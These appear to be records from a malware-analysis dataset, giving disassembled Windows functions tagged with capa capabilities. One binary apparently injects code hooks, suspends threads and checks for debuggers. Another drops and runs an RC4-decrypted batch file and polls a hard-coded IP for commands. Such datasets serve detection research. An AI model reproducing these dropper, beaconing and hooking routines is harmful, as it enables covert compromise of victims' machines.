joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000db18
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd rbp, r9d
mov r14, r8
test r8, r8
je 0x18000db3f
and qword [r8], 0
call fcn.18000dc24
mov rbx, rax
test rax, rax
je 0x18000dc07
mov rcx, rax
call fcn.18000daa0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000dbfe
mov rax, qword [0x1800d2d48]
test rax, rax
je 0x18000db77
inc dword [rax + 0xf4]
mov rdx, qword [0x1800d2d58]
lea rcx, [rdi + rbp]
call qword [0x1800d11a0]
mov rsi, rax
test rax, rax
je 0x18000dbfe
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rdi
je 0x18000dbd6
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800d2d48]
test rax, rax
je 0x18000dbc4
dec dword [rax + 0xf4]
mov rdx, qword [0x1800d2d58]
mov rcx, rsi
call qword [0x1800d11a8]
jmp 0x18000dc07
test ebp, ebp
jle 0x18000dbe8
lea rcx, [rsi + rdi]
mov r8, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18000dbf9
mov qword [r14], rdi
mov rax, rsi
jmp 0x18000dc09
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x18000e6f4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rcx
not r8d
test rdx, rdx
je 0x18000e722
movzx eax, byte [r9]
inc r9
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x18005be00]
xor r8d, dword [rax + rcx*4]
sub rdx, 1
jne 0x18000e6ff
not r8d
mov eax, r8d
ret

Function at 0x18000e72c
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x18000e786
mov r11b, 0x23
lea rbx, [0x18005be00]
movzx edi, byte [r10]
dec rdx
inc r10
cmp dil, r11b
jne 0x18000e770
cmp rdx, 2
jb 0x18000e770
cmp byte [r10], r11b
jne 0x18000e770
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rdi
shr r9d, 8
xor r9d, dword [rbx + rcx*4]
test rdx, rdx
jne 0x18000e74e
jmp 0x18000e7c7
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x18000e7c7
mov r11b, 0x23
lea rbx, [0x18005be00]
cmp dl, r11b
jne 0x18000e7ab
cmp byte [r10], r11b
jne 0x18000e7ab
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rbx + rcx*4]
test dl, dl
jne 0x18000e799
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret
Function at 0x18001073c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c58], 0
lea rbx, [rcx + 0x5c60]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x1800107d5
mov r9d, dword [rbx + 4]
test r9d, r9d
jns 0x18001078d
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18001ce1c
and dword [rbx], 0
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.18001c438
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c58]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1800d2d50]
movsxd r8, eax
mov rax, qword [rdi + 0x5c68]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x1800107dd
mov rcx, rbx
call fcn.18001c438
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18001783c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1800d2d48]
mov rbx, rcx
and dword [rax + 0x5bbc], 0
test rcx, rcx
je 0x1800178a5
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1800178b0
lea rdx, [0x18005d6cc]
mov rcx, rbx
mov rdi, rax
call fcn.18000dc24
mov rbx, rax
test rax, rax
je 0x1800178a5
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180047e38
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x1800d2540]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
mov esi, edx
imul rbx, rax, 0x38
add rbx, qword [0x1800d47e0]
mov rdx, qword [rbx]
mov cl, byte [rbx + 0x20]
mov rbp, rdx
lea rdi, [rdx - 5]
and cl, 1
je 0x180047e7d
mov rbp, rdi
movzx eax, cl
lea r9, [rsp + 0x20]
test cl, cl
mov r8d, 0x40
cmove rdi, rdx
lea r14, [rax*2 + 5]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180047eb3
mov eax, 0xa
jmp 0x180047f42
test esi, esi
je 0x180047ed5
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, ebp
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180047ef6
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180047ef6
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180047ef0
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180047ef6
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, sil
shl sil, 2
add al, al
xor al, byte [rbx + 0x20]
and al, 2
xor al, byte [rbx + 0x20]
xor sil, al
and sil, 4
xor sil, al
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180058430
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x180047fa4
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1800d2540]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov r15d, edx
mov rdi, rcx
mov qword [rcx], rbx
mov qword [rcx + 8], rbx
xor edx, edx
mov r14d, r8d
mov esi, ebx
lea ecx, [rbx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180048140
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1800480e2
lea esi, [rbx + 1]
cmp dword [rsp + 0x20], 0x10
jb 0x18004809e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x18004809e
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x18004809e
mov rdx, qword [rdi]
test rdx, rdx
jne 0x180048060
mov dword [rdi + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x1800d3100]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rdi], rax
mov rdx, rax
test rax, rax
je 0x1800480c6
jmp 0x180048091
mov eax, dword [rdi + 8]
cmp dword [rdi + 0xc], eax
jb 0x180048091
add eax, eax
mov r8, rdx
mov r9d, eax
xor edx, edx
mov dword [rdi + 8], eax
mov rcx, qword [0x1800d3100]
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x1800480c6
mov qword [rdi], rax
mov ecx, dword [rdi + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rdi + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rbp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x18004800e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1800480e2
mov esi, ebx
cmp qword [rdi], rbx
je 0x1800480e2
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x1800d3100]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi], rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x180048140
cmp qword [rdi], rbx
je 0x180048145
mov esi, ebx
cmp dword [rdi + 0xc], ebx
jbe 0x180048145
mov r8, qword [rdi]
xor edx, edx
mov eax, esi
lea ecx, [rdx + 0x5a]
mov r8d, dword [r8 + rax*4]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x180048137
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, r14d
mov edx, r15d
mov rcx, rbp
call fcn.180048384
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rdi + 0xc]
jb 0x1800480fb
jmp 0x180048145
mov ebx, 9
mov eax, ebx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180058430
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180048514
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x180048578
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x180048566
mov r8, qword [rbx]
xor edx, edx
mov r8d, dword [r8 + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x18004855f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x180048533
mov r8, qword [rbx]
xor edx, edx
mov rcx, qword [0x1800d3100]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800488ec
Capabilities:
Check for software breakpoints

Disassembly:
mov r8b, byte [rcx]
mov r9d, edx
test r8b, r8b
je 0x180048903
cmp r8b, 0x90
je 0x180048903
cmp r8b, 0xcc
jne 0x180048925
mov r10d, 1
mov edx, r10d
cmp r9d, r10d
jbe 0x180048921
mov eax, edx
cmp byte [rax + rcx], r8b
jne 0x180048925
add edx, r10d
cmp edx, r9d
jb 0x180048911
mov eax, r10d
ret
xor eax, eax
ret
Function at 0x180053310
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
cmp byte [0x1800d39fa], bpl
je 0x1800534ef
mov rax, qword [0x1800d4170]
test rax, rax
jne 0x1800533dc
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdx, r11
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1800533c1
mov ecx, dword [r9 + 0x18]
test ecx, ecx
je 0x1800533c1
mov esi, dword [r9 + 0x20]
dec ecx
mov ebx, 0x811c9dc5
mov edi, ecx
lea rax, [rsi + rcx*4]
mov r10d, dword [rax + r8]
add r10, r8
mov al, byte [r10]
inc r10
test al, al
je 0x1800533bd
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [r10]
inc r10
test al, al
jne 0x18005339c
cmp ebx, 0x95466b05
je 0x1800534d2
test ecx, ecx
jne 0x18005337e
mov rax, qword [rdx]
mov rdx, rax
cmp rax, r11
je 0x1800533d2
cmp qword [rax + 0x30], rbp
jne 0x18005335a
mov rax, rbp
mov qword [0x1800d4170], rax
mov ecx, dword [0x1800d3a1c]
call rax
test ax, ax
je 0x1800534ef
mov rax, qword [0x1800d3140]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800534ef
mov r9, qword [rcx + 8]
test r9, r9
je 0x1800534ef
mov rax, qword [0x1800d3148]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800534ef
mov r8, qword [rcx + 0x18]
test r8, r8
je 0x1800534ef
movss xmm2, dword [0x18005bb80]
mov r10d, ebp
mov r11, rbp
movsxd rax, r10d
cmp rax, qword [r8 + 0x108]
jae 0x1800534ef
mov rcx, qword [r8 + 0x100]
test rcx, rcx
je 0x1800534c6
mov rcx, qword [r11 + rcx]
test rcx, rcx
je 0x1800534c6
cmp rcx, r9
je 0x1800534c6
mov eax, dword [0x1800d316c]
mov edx, dword [rax + rcx]
test edx, edx
je 0x1800534c6
and edx, 0x1fc000
cmp edx, 0x8000
je 0x1800534c6
movsd xmm0, qword [r9 + 0x90]
mov eax, dword [r9 + 0x98]
movsd qword [rsp + 0x20], xmm0
movss xmm0, dword [rsp + 0x20]
movss dword [rcx + 0x90], xmm0
movss xmm1, dword [rsp + 0x24]
addss xmm1, xmm2
movss dword [rcx + 0x94], xmm1
mov dword [rcx + 0x98], eax
mov dword [rcx + 0x280], 0x3dcccccd
inc r10d
add r11, 0x10
jmp 0x18005343b
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdi*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x1800533d5
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180057e08
Capabilities:
Enumerate gui resources
Get graphical window text

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x1800d2540]
xor rax, rsp
mov qword [rsp + 0xc0], rax
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x180057d70]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x180057e7f
mov qword [rsp + 0x20], 0xc8
lea rdx, [rsp + 0x30]
lea rcx, [0x180057d70]
call qword [sym.imp.USER32.dll_EnumWindows]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.180048a5c
mov rcx, rax
call fcn.180048cb0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180057e4c
mov r8d, 0x80
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.180058430
add rsp, 0xd8
ret
Function at 0x1400010a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 8
xor r10d, r10d
mov r9, rcx
mov r11d, r10d
test r8, r8
je 0x140001113
mov qword [rsp], rbx
sub r9, rdx
lea rbx, [0x1400056f0]
lea rax, [r11 + 1]
movzx r11d, al
movzx ecx, byte [r11 + rbx]
lea rax, [r10 + rcx]
movzx r10d, al
movzx eax, byte [r10 + rbx]
mov byte [r11 + rbx], al
mov byte [r10 + rbx], cl
movzx eax, byte [r11 + rbx]
add eax, ecx
and eax, 0x800000ff
jge 0x1400010f9
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
movzx eax, byte [rcx + rbx]
xor al, byte [r9 + rdx]
mov byte [rdx], al
inc rdx
sub r8, 1
jne 0x1400010c0
mov rbx, qword [rsp]
add rsp, 8
ret

Function at 0x140001190
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x1050
call fcn.140002640
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
xor edi, edi
lea rcx, str.MyUAClient
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea edx, [rdi + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x140001241
mov qword [rsp + 0x28], rdi
lea rdx, str.http:__34.207.100.166_drill_command
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x140001238
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400018d0
mov rbx, qword [rsp + 0x1060]
add rsp, 0x1050
pop rdi
ret
Function at 0x140001270
Capabilities:
Check if file exists
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, r9
mov rdi, r9
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1400012a2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea r8, [0x140003310]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400013b4
mov rdx, rax
mov qword [rsp + 0x68], rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x140001311
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rdi
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001318
xor eax, eax
jmp 0x1400013af
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
je 0x140001398
mov qword [rsp + 0x60], rbp
call section..text
mov ecx, ebx
mov rax, 0xffffffffffffffff
add ecx, 0xa
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x140001393
lea r8d, [rbx + 0xa]
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call fcn.1400010a0
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, ebx
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbp, qword [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 1
mov rsi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400018d0
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1400013d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x148
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14000142a
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400018d0
add rsp, 0x148
ret
lea r8, [0x140003310]
mov qword [rsp + 0x150], rbx
mov edx, 0x6b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x140001521
mov rdx, rax
mov qword [rsp + 0x140], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x140001519
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
je 0x14000150b
mov qword [rsp + 0x158], rsi
call section..text
mov ecx, ebx
mov rax, 0xffffffffffffffff
add ecx, 0xa
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140001503
lea r8d, [rbx + 0xa]
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x140005800]
mov r8d, 0x800
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
call fcn.1400010a0
lea r9, [rsp + 0x20]
mov r8, rsi
mov edx, 0x7ff
lea rcx, [0x140005800]
call fcn.140001130
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rsi, qword [rsp + 0x158]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 1
mov rdi, qword [rsp + 0x140]
mov rbx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400018d0
add rsp, 0x148
ret

Function at 0x140001550
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rdi
sub rsp, 0x20
lea r8, [0x140003310]
mov edx, 0x67
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x140001578
add rsp, 0x20
pop rdi
ret
mov rdx, rax
mov qword [rsp + 0x30], rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
jne 0x14000159b
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, 0x10
jb 0x1400015b5
movups xmm0, xmmword [rbx]
movups xmmword [0x1400057f0], xmm0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret
Function at 0x1400015d0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0xf8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
call fcn.1400013d0
test eax, eax
je 0x140001699
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rsp + 0x70], 0x68
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rdx, [0x140005800]
mov qword [rsp + 0x60], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
mov dword [rsp + 0xac], 1
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov word [rsp + 0xb0], cx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001699
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400018d0
add rsp, 0xf8
ret
Function at 0x1400016c0
Capabilities:
Check if file exists
Check mutex on windows
Create process on windows
Delete file
Get common file path

Disassembly:
push rbx
sub rsp, 0x310
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x300], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, str.GlobalMUT3X_1S_4_IOC
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
test rax, rax
je 0x140001777
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000176e
call fcn.140001550
test eax, eax
je 0x14000176e
xor edx, edx
lea rcx, [rsp + 0x1f0]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001777
mov r8d, 0x17
lea rdx, str.C:UsersPublicup.exe
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001792
call fcn.1400015d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.1400018d0
add rsp, 0x310
pop rbx
ret
xor edx, edx
lea rcx, [rsp + 0xe0]
mov r8d, 0x105
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0xe0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str.get.bat
lea rcx, [rsp + 0xe0]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
lea r9, [rsp + 0xe0]
call fcn.140001270
test eax, eax
je 0x14000176e
lea rcx, [rsp + 0xe0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14000188b
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
mov word [rsp + 0xb0], cx
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
mov dword [rsp + 0xac], 1
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000188b
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop dword [rax]
call fcn.140001190
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400018a0
Function at 0x140001e40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140001ed1
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140001ed1
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ed1
